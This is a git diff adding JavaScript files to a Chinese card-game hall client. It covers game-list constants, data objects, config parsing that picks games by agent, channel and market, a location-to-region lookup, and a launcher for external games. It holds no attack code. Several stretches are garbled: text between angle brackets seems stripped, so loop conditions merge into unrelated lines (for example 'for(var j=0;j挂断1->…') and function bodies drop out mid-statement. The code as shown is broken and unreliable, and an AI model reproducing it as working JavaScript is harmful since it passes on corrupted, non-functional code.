ifast_addtospritefromspritecopy(gameCombat.combatPageTwoConfig.fSpid,gameCombat.combatPageTwoConfig.splitSpid, + gameCombat.combatPageTwoConfig.splitPosition[0], + gameCombat.combatPageTwoConfig.splitPosition[1]+i*gameCombat.combatPageTwoConfig.bgSpace, + splitTag); + splitTag++; + } + var nameLimit; + CombatInfo[gameCombat.combatData.pageOneIndex].gameinfo1.playerlist.length > 5 ? nameLimit = gameCombat.combatPageTwoConfig.nickNameLimit10:nameLimit = gameCombat.combatPageTwoConfig.nickNameLimit5; + var scoreList = []; + var n=0; + for(var j=0;j挂断1->接打电话、有电话进来的状态 + +} +Game_Modify.shakeEvent = function(){ + switch(GameData.shakeID){ + case Game_Config.shakeList.startwar://摇一摇开战(如果有主动开战) + var data={}; + data.agentid=GameData.AgentId; + data.gameid=GameData.GameId; + data.playerid=C_Player.playerid; + data.roomcode=Desk.roomcode; + Net.Send_self_makewar(data); + Func.stopshake(); + GameData.shakeID=Game_Config.shakeList.nil; + break; + } +} +Game_Modify.calResult = function(inputArr){ + +} +Game_Modify.onEnterMainScene = function(roomtype){//进入游戏主场景 + console.log("进入游戏主场景"); +} +Game_Modify.onExitMainScene = function(){//退出游戏主场景 + console.log("退出游戏主场景"); +} +Game_Modify.onGameConfig = function(_gameConfig){//获取到游戏配置时调用(只在game_config有数据时才调用) + +} +Game_Modify.onEnterVideo = function(){//进入牌局回放触发 + +} +Game_Modify.onSurrender = function(_msg){//收到投降回包 + +} +Game_Modify.onReady = function(seat){//玩家准备触发 + +} +Game_Modify.getRoomInfo = function(roomtype,type,tea){//通过roomtype获取房间描述每行最多18个字符超过需要自己换行type1系统房间2非系统房间 + console.log("Game_Modify.getRoomInfo:"+roomtype); + return "房间描述"+roomtype; +} +Game_Modify.getStarLimit = function(roomtype){//通过roomtype获取房间星星场下限数量(准入) + console.log("Game_Modify.getStarLimit:"+roomtype); + return 2001000; +} +Game_Modify.getMult = function(roomtype,type){//通过roomtype获取房间星星场倍数 + console.log("Game_Modify.getStarLimit:"+roomtype); + return 10000; +} +Game_Modify.getFullRoomInfo = function(roomtype){//通过roomtype获取房间全部信息描述 每行最多26个字符超过需要自己换行 + console.log("Game_Modify.getFullRoomInfo:"+roomtype); + return "房间描述房间描\n述房间描述房间\n描述房间描述"+roomtype; +} +Game_Modify.onOpenHelp = function(spid){//打开帮助页面触发 + +} +//显示大厅界面触发 +Game_Modify.onMainMenuScene = function(){ + +} +//确认数字输入框回调 +Game_Modify.onCheckInput = function(_result){ + console.log(_result); +} +//创建房间成功后触发 +Game_Modify.onCreateRoom = function(_data){ + + +} +//获取离场限制 +Game_Modify.getLeaveLimit = function(roomtype){ + + return 10; +} +//成功获取定位信息触发 +Game_Modify.onLocationInfo = function(_locationInfo){ + if(_locationInfo){ + if(!gamehall_Data.isLocation){ + gamehall_Data.isLocation = 1; + Utl.SaveData(gamehall_Logic.isLocation,1); + gamehall_Data.isLocation = 1; + var aConfig = gamehall_Logic.alyArea([_locationInfo.longitude,_locationInfo.latitude]); + if(aConfig){ + var agConfig = gamehall_Logic.isExitAgentCode(aConfig.agentCode); + if(agConfig){ + gamehall_Data.agentConfigTemp = agConfig; + if(gamehall_Data.agentConfig){ + if(gamehall_Data.agentConfigTemp.agentCode != gamehall_Data.agentConfig.agentCode){ + gamehall_GameUI.openCheckSwitch(true); + } + }else{ + gamehall_GameUI.openCheckSwitch(true); + } + + }else{ + gamehall_Data.agentConfigTemp = null; + } + } + } + } +} +//进入游戏界面创建牌桌之前调用 +Game_Modify.onCreateDesk = function(roomtype){ + console.log("onCreateDesk:"+roomtype); +} +//通过roomtype获取是否开启视频功能0->不开启1->开启 +Game_Modify.getVideoByRoomType = function(roomtype){ + return 1; +} +//返回值为字符数组数组每项为房间一项描述信息 +Game_Modify.getRoomTopDescAry = function(roomtype){ + console.log(roomtype); + return ["2人跑得快(17张)","特色玩法"]; +} +//星星场房间列表 +Game_Modify.getShareRoom = function(_msg){ + +} +//玩家自己退出房间 +Game_Modify.myExitRoom = function(seat){ + +} +//接收到换座包触发 +Game_Modify.changeSeat = function(seat1,seat2){ + +} +//关闭vip选项时调用 +Game_Modify.onCloseVip = function(){ + +} +Game_Modify.getRoomMode = function(roomtype){ + return 0; +} + + + + + diff --git a/games/games/Projects/clinet/gamehall/js/02_gamehall/00_gamehall_Const.js b/games/games/Projects/clinet/gamehall/js/02_gamehall/00_gamehall_Const.js new file mode 100644 index 0000000..42d9844 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/02_gamehall/00_gamehall_Const.js @@ -0,0 +1,159 @@ +var gamehall_Const = gamehall_Const||{}; +gamehall_Const.unClickBtn = [1005,1006,426,427,428,429,430,431,432,433,434,435,446,447,448,449,450,451, +452,453,454,455,1041,288]; +gamehall_Const.clickBtn = [1015,1016,1029,1030,1031,1032,1033,1036,1038,1040,1049,1048]; +gamehall_Const.clickBtnMp3 = [58,1010,1011,1008,1029,1030,1031,1032,1033,1040,1049,1048]; +gamehall_Const.exceptRes = [21,116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, + 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145,523, + 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, + 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, + 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571,338,339,340,502], + +gamehall_Const.GameList = { + //动画帧间隔200 + //count:20, + sFrameImgRes:[118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, + 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145,523, + 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, + 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, + 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571], + mFrameImgRes:[513,514,515,516,517,518,519,520,521,522], + beginID:116, + endID:571, + frame_begin_res:513, + begin_res:116, + end_res:571, + f_spid:1003, + bg_spid:1014, + pack_spid:1006, + front_spid:1005, + + bg_tag:1, + pack_tag:1000, + front_tag:2000, + frameList:[1,2,5,4,3], + pageCount:4,// + + bg_x:0, + bg_y:0, + pack_x:0, + pack_y:300, + front_x:0, + front_y:0, + w:0, + h:449, + dis_x:20, + place_x1:440, + place_x2:1200, + clip_x:440, + clip_y:180, + clip_h:440, + clip_w:655, + //pageOne:{ + //spaceX1:40, + //spaceX2:10, + //spaceX3:25, + //spaceX4:30, + //spaceY:3, + //spaceY1:10, + //}, + pageOne:{ + spaceX1:10, + spaceX2:10, + spaceX3:10, + spaceX4:80, + spaceY:3, + spaceY1:70, + spaceY2:10, + }, + spidList:[1004,1013,1014], + sizeList:[[282,449],[481,216],[150,150]], + pageSpace:200, + pageWidth:655, + switchPageX:200, + downloadMaskList:[1005,1019,1020], + waitingList:[1022,1023,1024], + deltaX:200, + +} +gamehall_Const.categoryTwo = { + //动画帧间隔200 + //count:20, + sFrameImgRes:[116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, + 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145,523, + 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, + 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, + 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571], + mFrameImgRes:[513,514,515,516,517,518,519,520,521,522], + beginID:116, + endID:571, + frame_begin_res:513, + begin_res:116, + end_res:571, + f_spid:1021, + bg_spid:1027, + pack_spid:1006, + front_spid:1005, + bg_tag:1, + pack_tag:1000, + front_tag:2000, + frameList:[1,2,5,4,3], + pageCount:4,// + + bg_x:0, + bg_y:0, + pack_x:0, + pack_y:300, + front_x:0, + front_y:0, + w:0, + h:449, + dis_x:20, + place_x1:440, + place_x2:1200, + clip_x:440, + clip_y:180, + clip_h:380, + clip_w:655, + pageOne:{ + spaceX1:40, + spaceX2:10, + spaceX3:25, + spaceX4:30, + spaceY:3, + spaceY1:10, + }, + spidList:[1004,1013,1014], + sizeList:[[282,449],[481,216],[234,220]], + pageSpace:210, + pageWidth:655, + switchPageX:200, + downloadMaskList:[1005,1019,1020], + waitingList:[1022,1023,1024], + deltaX:200, + +} +//gamehall_Const.categoryOnePageNubmer = { + //f_spid:1017, + +//}; + +gamehall_Const.Location = { + f_spid:1047, + + selectSpid:1046, + nameSpid:1045, + selectTag:1, + nameTag:2000, + + clip_x:0, + clip_y:0, + clip_w:0, + clip_h:0, + + spaceX:235, + spaceY:70, + snSpace:55, + +} + diff --git a/games/games/Projects/clinet/gamehall/js/02_gamehall/01_gamehall_Data.js b/games/games/Projects/clinet/gamehall/js/02_gamehall/01_gamehall_Data.js new file mode 100644 index 0000000..35582eb --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/02_gamehall/01_gamehall_Data.js @@ -0,0 +1,194 @@ +var gamehall_Data = gamehall_Data||{}; +ConstVal.isGameHall = true; +/* +gamehall_Data.GameList = [ + {gamename:"友乐牛牛",gamedir:"niuniu",zipsize:"6.08 M",isDownload:0,gamezip:"",gameimage:"", + gameid:"8x4l0rGjf026f60c48h0mbUAhK5vV16f",imgres:"",res_frame:"",webtype:1,game_server_http:"", + othergametype:1,othergameurlurl:"",inAgent:null}, + {gamename:"友乐二七王",gamedir:"erqiwang",zipsize:"4.86 M",isDownload:0,gamezip:"",gameimage:"",gameid:"mWvu02tcL0dj6w0aBgD41CRYvBmxsmMa",imgres:"",res_frame:""}, + {gamename:"海南三公",gamedir:"hainansangong",zipsize:"5.01 M",isDownload:0,gamezip:"",gameimage:"",gameid:"n3d10m9rB0a85r0f9225AMj4t1dxUs31",imgres:"",res_frame:""}, + {gamename:"休闲德州",gamedir:"xxdz",zipsize:"5.61 M",isDownload:0,gamezip:"",gameimage:"",gameid:"xyyv0D9Su02ie90ga5B2bz3wmxUjateB",imgres:"",res_frame:""}, + {gamename:"扎金花",gamedir:"zhajinhua",zipsize:"5.61 M",isDownload:0,gamezip:"",gameimage:"",gameid:"bMhx0dj560ySdm0j0291zwfq0wrv8qyc",imgres:"",res_frame:""} +]; +*/ +gamehall_Data.GameList = []; +/* + { + gamename:游戏名, + gamedir:游戏路径, + zipsize:游戏包大小 + isDownload:是否下载, + res_frame:[imgResList中的第几张图,第几帧] + imgres:单张图片资源 + gameid:游戏id + gameimage:单张图片路径 + gameversion:游戏版本 + category:分类 + othergameurlurl:是否为其他游戏(非黑狐开发的网页游戏) + inAgent:代理区域设置 + } +*/ +gamehall_Data.isSwitch = true; +gamehall_Data.isCreateGameList = false; +gamehall_Data.isSliderGameList = false; +gamehall_Data.gameIdx = 0; + +gamehall_Data.gameImgList=[]; +gamehall_Data.gameHallImgList = []; +//分类一 全部 +gamehall_Data.categoryOne ={ + isCreate:false, + createLength:0, + gameList:[], + pageCount:0,//总共多少页 + pageTag:0,//当前页码 + isSlide:false, + gameIdx:0, +}; +//分类二 已下载 +gamehall_Data.categoryTwo ={ + isCreate:false, + createLength:0, + gameList:[], + pageCount:0,//总共多少页 + pageTag:0,//当前页码 + isSlide:false, + gameIdx:0, +}; +gamehall_Data.categoryThree ={ + isCreate:false, + createLength:0, + gameList:[], + pageCount:0,//总共多少页 + pageTag:0,//当前页码 + isSlide:false, + gameIdx:0, +}; +gamehall_Data.categoryFour ={ + isCreate:false, + createLength:0, + gameList:[], + pageCount:0,//总共多少页 + pageTag:0,//当前页码 + isSlide:false, + gameIdx:0, +}; +gamehall_Data.categoryFive ={ + isCreate:false, + createLength:0, + gameList:[], + pageCount:0,//总共多少页 + pageTag:0,//当前页码 + isSlide:false, + gameIdx:0, +}; +gamehall_Data.categoryPage = 0; +//gamehall_Data.pageOneNumberLength=0; +//gamehall_Data.pageOneNumberList = []; + +//gamehall_Data.pageTwoNumberLength=0; +//gamehall_Data.pageTwoNumberList = []; + + + +gamehall_Data.pageNumberLength=0; +gamehall_Data.pageNumberList = []; + + +gamehall_Data.gameHallConfig = { + topImgUrl:"", + agentConfig:null, + /*{ + name:"全国", + agentCode:'A0', + inviteCode:'A01111', + region:[[60,70],[140,2]], + list:[ + { + name:"江西", + agentCode:'B0', + inviteCode:'B01111', + region:[[110,30],[120,25]], + list:[ + { + name:"南昌", + agentCode:'B0C0', + inviteCode:'B0C01111', + region:[[115,29],[116,26]], + list:[ + { + name:"进贤", + agentCode:'B0C0D0', + inviteCode:'B0C0D01111', + region:[[115.5,28],[115.9,27]] + }, + { + name:"新建", + agentCode:'B0C0D1', + inviteCode:'B0C0D11111', + region:[[115.1,28.8],[115.4,28.3]] + } + ] + } + ] + }, + { + name:"湖南", + agentCode:'D1', + inviteCode:'D11111', + region:[[106,30],[113,25]], + list:[ + { + name:"长沙", + agentCode:'D1C0', + inviteCode:'D1C01111', + region:[[107,29],[110,26]], + list:[ + { + name:"浏阳", + agentCode:'D1C0D0', + inviteCode:'D1C0D01111', + region:[[109.5,28],[109.9,27]] + }, + { + name:"宁乡", + agentCode:'D1C0D1', + inviteCode:'D1C0D11111', + region:[[107.1,28.8],[109.4,28.3]] + } + ] + } + ] + } + + ] + } + */ + autoGame:"",//自动进入的游戏id +} +gamehall_Data.downX = 0; +gamehall_Data.deltaX = 0; + +gamehall_Data.gameidHistory = ""; +gamehall_Data.hallCreateLength = 0; + +gamehall_Data.isLogin = false; +gamehall_Data.gameInfo = null; + +gamehall_Data.agentConfig = null; + +gamehall_Data.isLocation = false; + +gamehall_Data.agentConfigTemp = null; + +gamehall_Data.agentListLength = 0; +gamehall_Data.agentList = []; + +gamehall_Data.selectAgentSlide = false; +gamehall_Data.selectItemTagList = [];//列表 +gamehall_Data.selectItemSpList = [];//精灵列表 +gamehall_Data.selectTag = 0; +gamehall_Data.selectedAgent = null; + +gamehall_Data.isAutoGame = false; + diff --git a/games/games/Projects/clinet/gamehall/js/02_gamehall/02_gamehall_Logic.js b/games/games/Projects/clinet/gamehall/js/02_gamehall/02_gamehall_Logic.js new file mode 100644 index 0000000..a9167ba --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/02_gamehall/02_gamehall_Logic.js @@ -0,0 +1,969 @@ +var gamehall_Logic = gamehall_Logic||{}; +gamehall_Logic.gameinfo = "tsgame_gameinfo"; +gamehall_Logic.launchGameId = "tsgame_launchgameid"; +gamehall_Logic.agentConfig = "tsgame_agentConfig"; +gamehall_Logic.isLocation = "tsgame_isLocation"; +gamehall_Logic.initImgRes = function(){ + for(var i=0;imax_length){ + max_length = lenTemp; + } + } + GameData.Notice.width = max_length*ConstVal.Notice.textWidth; + Game_Config.Setting.board = min_replaceAll(_msg.data.noticemsg,ConstVal.Notice.replaceOldWord,ConstVal.Notice.replaceNewWord,false); + //Game_Config.Setting.board = _msg.data.noticemsg; + }else{ + Game_Config.Setting.board = ""; + GameData.isBoard=false; + } + if(_msg.data.hall_config){ + GameData.hallConfig = _msg.data.hall_config; + }else{ + //GameData.hallConfig = {}; + } + if(_msg.data.game_config){ + GameData.gameConfig = _msg.data.game_config; + Game_Modify.onGameConfig(GameData.gameConfig); + }else{ + GameData.gameConfig = Game_Modify.game_config; + } + */ + gamehall_Logic.setGameList(); + Func.up_imgurl(502,gamehall_Data.gameHallConfig.topImgUrl); + GameUI.JumpMenuScene(); + + if(Logic.JudgeShow()){ + GameUI.OpenBoard(Game_Config.Setting.board); + } + break; + case RpcList.kick_server: + GameUI.EndLoad(); + Net[RpcList.kick_server](_msg); + break; + } + +} +//获取游戏列表_游戏大厅 +/* +function get_gamelist_gamehall(o_config, agentid, channelid, marketid){ + var gamelist = []; + if (!o_config.data){ + return gamelist; + } + if (!o_config.data.agentlist){ + return gamelist; + } + for (var i = 0; i < o_config.data.agentlist.length; i++){ + if (o_config.data.agentlist[i].agentid == agentid){ + var _o_agent = o_config.data.agentlist[i]; + if (_o_agent.gamelist){ + for (var j = 0; j < _o_agent.gamelist.length; j++){ + var _o_game = _o_agent.gamelist[j]; + if (_o_game.gameid != "G2hw0ubng0zcoI0r4mx3H2yr4GejidwO"){ + var o_game = {}; + o_game.gameid = _o_game.gameid; + o_game.gamename = _o_game.gamename; + o_game.gamedir = _o_game.game_hall_dir; + o_game.gameimage = _o_game.game_hall_image; + o_game.gameversion = _o_game.game_version; + o_game.gamezip = _o_game.game_zip; + o_game.zipsize = _o_game.game_size; + o_game.res_frame = _o_game.game_hall_frame; + o_game.downloadimg = _o_game.game_downloadimg; + + if(_o_game.webtype){ + o_game.webtype = _o_game.webtype; + }else{ + o_game.webtype = 0; + } + + + o_game.game_server_http = _o_game.game_server_http; + o_game.othergametype = _o_game.othergametype; + o_game.othergameurlurl = _o_game.othergameurlurl; + if(_o_game.inAgent){ + o_game.inAgent = _o_game.inAgent; + }else{ + o_game.inAgent = []; + } + + if(_o_game.category){ + o_game.category = _o_game.category; + }else{ + o_game.category = 0; + } + if (_o_game.channellist){ + for (var k = 0; k < _o_game.channellist.length; k++) { + var _o_channel = _o_game.channellist[k]; + if (_o_channel.channelid == channelid){ + if (_o_channel.game_version > 0){ + o_game.gameversion = _o_channel.game_version; + } + if (_o_channel.game_zip){ + o_game.gamezip = _o_channel.game_zip; + } + if (_o_channel.game_size){ + o_game.zipsize = _o_channel.game_size; + } + if (_o_channel.game_hall_frame){ + o_game.res_frame = _o_channel.game_hall_frame; + } + if (_o_channel.webtype){ + o_game.webtype = _o_channel.webtype; + } + if (_o_channel.game_server_http){ + o_game.game_server_http = _o_channel.game_server_http; + } + if (_o_channel.othergametype){ + o_game.othergametype = _o_channel.othergametype; + } + if (_o_channel.othergameurlurl){ + o_game.othergameurlurl = _o_channel.othergameurlurl; + } + if (_o_channel.category){ + o_game.category = _o_channel.category; + } + if (_o_channel.inAgent){ + o_game.inAgent = _o_channel.inAgent; + } + if (_o_channel.marketlist){ + for (var m = 0; m < _o_channel.marketlist.length; m++) { + var _o_market = _o_channel.marketlist[m]; + if (_o_market.marketid == marketid){ + if (_o_market.game_version > 0){ + o_game.gameversion = _o_market.game_version; + } + if (_o_market.game_zip){ + o_game.gamezip = _o_market.game_zip; + } + if (_o_market.game_size){ + o_game.zipsize = _o_market.game_size; + } + if (_o_market.game_hall_frame){ + o_game.res_frame = _o_channel.game_hall_frame; + } + if (_o_market.webtype){ + o_game.webtype = _o_channel.webtype; + } + if (_o_market.game_server_http){ + o_game.game_server_http = _o_channel.game_server_http; + } + if (_o_market.othergametype){ + o_game.othergametype = _o_channel.othergametype; + } + if (_o_market.othergameurlurl){ + o_game.othergameurlurl = _o_channel.othergameurlurl; + } + if (_o_market.category){ + o_game.category = _o_channel.category; + } + if (_o_market.inAgent){ + o_game.inAgent = _o_channel.inAgent; + } + break; + } + } + } + gamelist.push(o_game); + break; + } + } + } + } + } + } + break; + } + } + return gamelist; +}*/ +function get_gamelist_gamehall(o_config, agentid, channelid, marketid){ + var gamelist = []; + if (!o_config.data){ + return gamelist; + } + if (!o_config.data.agentlist){ + return gamelist; + } + for (var i = 0; i < o_config.data.agentlist.length; i++){ + if (o_config.data.agentlist[i].agentid == agentid){ + var _o_agent = o_config.data.agentlist[i]; + if (_o_agent.gamelist){ + for (var j = 0; j < _o_agent.gamelist.length; j++){ + var _o_game = _o_agent.gamelist[j]; + if (_o_game.gameid != "G2hw0ubng0zcoI0r4mx3H2yr4GejidwO"){ + var o_game = {}; + o_game.gameid = _o_game.gameid; + o_game.gamename = _o_game.gamename; + o_game.gamedir = _o_game.game_hall_dir; + o_game.gameimage = _o_game.game_hall_image; + o_game.gameversion = _o_game.game_version; + o_game.gamezip = _o_game.game_zip; + o_game.zipsize = _o_game.game_size; + o_game.res_frame = _o_game.game_hall_frame; + o_game.downloadimg = _o_game.game_downloadimg; + + if(_o_game.webtype){ + o_game.webtype = _o_game.webtype; + }else{ + o_game.webtype = 0; + } + + + o_game.game_server_http = _o_game.game_server_http; + o_game.othergametype = _o_game.othergametype; + o_game.othergameurlurl = _o_game.othergameurlurl; + if(_o_game.inAgent){ + o_game.inAgent = _o_game.inAgent; + }else{ + o_game.inAgent = []; + } + + if(_o_game.category){ + o_game.category = _o_game.category; + }else{ + o_game.category = 0; + } + if (_o_game.channellist){ + for (var k = 0; k < _o_game.channellist.length; k++) { + var _o_channel = _o_game.channellist[k]; + if (_o_channel.channelid == channelid){ + if (_o_channel.game_version > 0){ + o_game.gameversion = _o_channel.game_version; + } + if (_o_channel.game_zip){ + o_game.gamezip = _o_channel.game_zip; + } + if (_o_channel.game_size){ + o_game.zipsize = _o_channel.game_size; + } + if (_o_channel.game_hall_frame){ + o_game.res_frame = _o_channel.game_hall_frame; + } + if (_o_channel.webtype){ + o_game.webtype = _o_channel.webtype; + } + if (_o_channel.game_server_http){ + o_game.game_server_http = _o_channel.game_server_http; + } + if (_o_channel.othergametype){ + o_game.othergametype = _o_channel.othergametype; + } + if (_o_channel.othergameurlurl){ + o_game.othergameurlurl = _o_channel.othergameurlurl; + } + if (_o_channel.category){ + o_game.category = _o_channel.category; + } + if (_o_channel.inAgent){ + o_game.inAgent = _o_channel.inAgent; + } + var isFound = false; + if (_o_channel.marketlist){ + + for (var m = 0; m < _o_channel.marketlist.length; m++) { + var _o_market = _o_channel.marketlist[m]; + if (_o_market.marketid == marketid){ + isFound = true; + if (_o_market.game_version > 0){ + o_game.gameversion = _o_market.game_version; + } + if (_o_market.game_zip){ + o_game.gamezip = _o_market.game_zip; + } + if (_o_market.game_size){ + o_game.zipsize = _o_market.game_size; + } + if (_o_market.game_hall_frame){ + o_game.res_frame = _o_channel.game_hall_frame; + } + if (_o_market.webtype){ + o_game.webtype = _o_channel.webtype; + } + if (_o_market.game_server_http){ + o_game.game_server_http = _o_channel.game_server_http; + } + if (_o_market.othergametype){ + o_game.othergametype = _o_channel.othergametype; + } + if (_o_market.othergameurlurl){ + o_game.othergameurlurl = _o_channel.othergameurlurl; + } + if (_o_market.category){ + o_game.category = _o_channel.category; + } + if (_o_market.inAgent){ + o_game.inAgent = _o_channel.inAgent; + } + break; + } + } + } + if(isFound){ + gamelist.push(o_game); + } + break; + } + } + } + } + } + } + break; + } + } + return gamelist; +} +gamehall_Logic.setInstallState = function(_gamename){ + if(app_gamesname.indexOf(_gamename) < 0){ + app_gamesname.push(_gamename); + } +} +gamehall_Logic.isInstalled = function(_gamename){ + if(app_gamesname.indexOf(_gamename) > -1){ + return 1; + }else{ + return 0; + } +} +//function get_paravalue(o_config, paraname, agentid, gameid, channelid, marketid){ +function get_paravalue(o_config, paraname){ + var agentid = GameData.AgentId; + var gameid = GameData.GameId; + var channelid = GameData.ChannelId; + var marketid = GameData.marketID; + var paravalue = null; + // + var do_get_para = function(arylist, keyname, keyvalue){ + if (arylist && keyname && keyvalue){ + for (var i = 0; i < arylist.length; i++){ + if (arylist[i][keyname] == keyvalue){ + if (arylist[i][paraname]){ + paravalue = arylist[i][paraname]; + } + return arylist[i]; + } + } + } + return null; + } + + if (!o_config.data){ + return paravalue; + } + if (o_config.data[paraname]){ + paravalue = o_config.data[paraname]; + } + var _o_agent = do_get_para(o_config.data.agentlist, "agentid", agentid); + if (!_o_agent){ + return paravalue; + } + var _o_game = do_get_para(_o_agent.gamelist, "gameid", gameid); + if (!_o_game){ + return paravalue; + } + var _o_channel = do_get_para(_o_game.channellist, "channelid", channelid); + if (!_o_channel){ + return paravalue; + } + var _o_market = do_get_para(_o_channel.marketlist, "marketid", marketid); + if (!_o_market){ + return paravalue; + } + + return paravalue; +} +gamehall_Logic.isArray = function isArray(o){ + return Object.prototype.toString.call(o)=='[object Array]'; +} +gamehall_Logic.httpLogin = function(_msg){ + if(typeof _msg == "string"){ + _msg = JSON.parse(_msg); + } + gamehall_Data.isLogin = true; + C_Player.SetMyInfo(_msg.data); + gamehall_Logic.jumpOtherGame(gamehall_Data.gameInfo); +} +gamehall_Logic.jumpOtherGame = function(gameInfo){ + var _urlData = "channelId="+GameData.ChannelId+"&agentId="+GameData.AgentId+"&avatar="+min_encode(C_Player.avatar)+"&nickname="+min_encode(C_Player.nickname)+ + "&playerId="+C_Player.playerid+"&gameId="+gameInfo.gameid+"&openId="+C_Player.openid+"&unionId="+C_Player.unionid + +"&sex="+C_Player.sex; + Func.OpenurlTitleData(gameInfo.othergameurlurl+"?"+_urlData,"",""); +} + +var gameHallImport = {}; +gameHallImport.appStart =function(){ + gamehall_Logic.initImgRes(); + gamehall_Const.Location.clip_x = get_self(gamehall_Const.Location.f_spid,18,0,0,0); + gamehall_Const.Location.clip_y = get_self(gamehall_Const.Location.f_spid,19,0,0,0); + gamehall_Const.Location.clip_w = get_self(gamehall_Const.Location.f_spid,20,0,0,0); + gamehall_Const.Location.clip_h = get_self(gamehall_Const.Location.f_spid,21,0,0,0); + +} +gameHallImport.jumpMenuScene =function(){ + if(Utl.getPlayerAdvanced()){ + set_self(1037,37,1,0,0); + }else{ + set_self(1037,37,0,0,0); + } + set_self(145,37,0,0); + gamehall_GameUI.updateHall(); + gamehall_GameUI.showGameHall(); + console.log(gamehall_Data.GameList); + if(gamehall_Data.gameHallConfig.autoGame && !gamehall_Data.isAutoGame){ + gamehall_Data.isAutoGame = true; + var gameinfo = gamehall_Logic.readGameinfo(); + if(!gameinfo){ + for(var i=0;i=gamehall_Const.GameList.beginID&&recid<=gamehall_Const.GameList.endID){ + }else if(gamehall_Const.exceptRes.indexOf(Number(recid)) >= 0){ + up_imgurl(recid,photo,1); + }else{ + up_imgurl(recid,"assets/bmp/00170.png",1); + setTimeout( + function(){ + if(photo){ + up_imgurl(recid,photo,1); + }else{ + up_imgurl(recid,"assets/bmp/00170.png",1); + } + } + ,ConstVal.Max.headImgTimer); + } + + +} +gameHallImport.getphoto = function(recid,photo){ + console.log("getphoto"); + var obj =strToJson(photo); + for(var i=0;i= 0){ + up_imgurl(Number(pho.pid),pho.photourl,1); + }else{ + //up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + setTimeout( + function(){ + if(pho.photourl){ + up_imgurl(Number(pho.pid),pho.photourl,1); + }else{ + up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + } + } + ,ConstVal.Max.headImgTimer); + } + } + } +} +gamehall_Logic.alyArea = function(pos){//[经度,纬度] + if(!pos){return null;}; + /* + var config = GameData.sysConfig.agentConfig; + + if(config){ + for(var i = 0;i < config.length;i++){ + var rgn = config[i].region; + if(rgn){ + if(pos[0] >= rgn[0][0] && pos[0] <= rgn[1][0] && + pos[1] <= rgn[0][1] && pos[1] >= rgn[1][1]){ + return config[i]; + } + } + } + return config[0]; + }else{ + return null; + } + */ + var rValue = gamehall_Logic.travelAgentConfig(gamehall_Data.gameHallConfig.agentConfig,"region",pos); + return rValue; +} +gamehall_Logic.saveAgentConfig = function(val){ + if(val){ + gamehall_Data.agentConfig = val; + var valTemp = min_copyjson(val); + if(valTemp.list){ + delete valTemp.list; + } + var val1 = JSON.stringify(valTemp); + Utl.SaveData(gamehall_Logic.agentConfig,val1); + }else{ + Utl.SaveData(gamehall_Logic.agentConfig,""); + } +} +//遍历配置找到键值对应值的配置 +gamehall_Logic.travelAgentConfig = function(config,key,val){ + if(!config){return null;} + var rValue = null; + if(key == "region"){//范围特殊处理 + var rgn = config[key]; + //第一层 + if(val[0] >= rgn[0][0] && val[0] <= rgn[1][0] && + val[1] <= rgn[0][1] && val[1] >= rgn[1][1]){ + rValue = config; + } + //else{ + //第二层 + if(config.list){ + for(var i=0;i= rgn[0][0] && val[0] <= rgn[1][0] && + val[1] <= rgn[0][1] && val[1] >= rgn[1][1]){ + rValue = config.list[i]; + } + //else{ + //第三层 + if(config.list[i].list){ + for(var j=0;j= rgn[0][0] && val[0] <= rgn[1][0] && + val[1] <= rgn[0][1] && val[1] >= rgn[1][1]){ + rValue = config.list[i].list[j]; + } + //else{ + //第四层 + if(config.list[i].list[j].list){ + for(var k=0;k= rgn[0][0] && val[0] <= rgn[1][0] && + val[1] <= rgn[0][1] && val[1] >= rgn[1][1]){ + rValue = config.list[i].list[j].list[k]; + } + } + } + // } + } + } + //} + } + } + // } + return rValue; + }else{ + //第一层 + if(config[key] == val){ + return config; + }else{ + //第二层 + if(config.list){ + for(var i=0;i -1){ + gList.push(_gameList[i]); + } + } + + }else{ + gList = _gameList; + } + + gamehall_Data.GameList = gList; + gamehall_Data.gameImgList.length = gamehall_Data.GameList.length; + var gameimageRes = 0; + for(var i=0;i gamehall_Const.GameList.place_x1){// + //var t = pos - gamehall_Const.GameList.place_x1; + //play_ani(1,spid_down,18,pos,gamehall_Const.GameList.place_x1,0,t,0,0,0,1,0,0,0); + + //}else{ + //if(gamehall_Const.GameList.pageCount>=gamehall_Data.GameList.length){ + //if(pos < gamehall_Const.GameList.place_x1){ + //var t = gamehall_Const.GameList.place_x1 - pos; + //play_ani(1,spid_down,18,pos,gamehall_Const.GameList.place_x1,0,t,0,0,0,1,0,0,0); + + //} + //}else{ + //var dis = get_self(spid_down,20,0,0,0);; + //if(pos + dis < gamehall_Const.GameList.place_x2){ + //var t = gamehall_Const.GameList.place_x2 - dis - pos; + //play_ani(1,spid_down,18,pos,gamehall_Const.GameList.place_x2 - dis,0,t,0,0,0,1,0,0,0); + + //} + //} + //} + //} + if(spid_down == gamehall_Const.GameList.f_spid){ + gamehall_Data.deltaX = upx - gamehall_Data.downX; + var pos = get_self(spid_down,18,0,0,0); + var x = gamehall_GameUI.getSlideLocation(pos); + var t = ifast_abs(x-pos)/2; + //t=100; + //console.log("x="+x); + 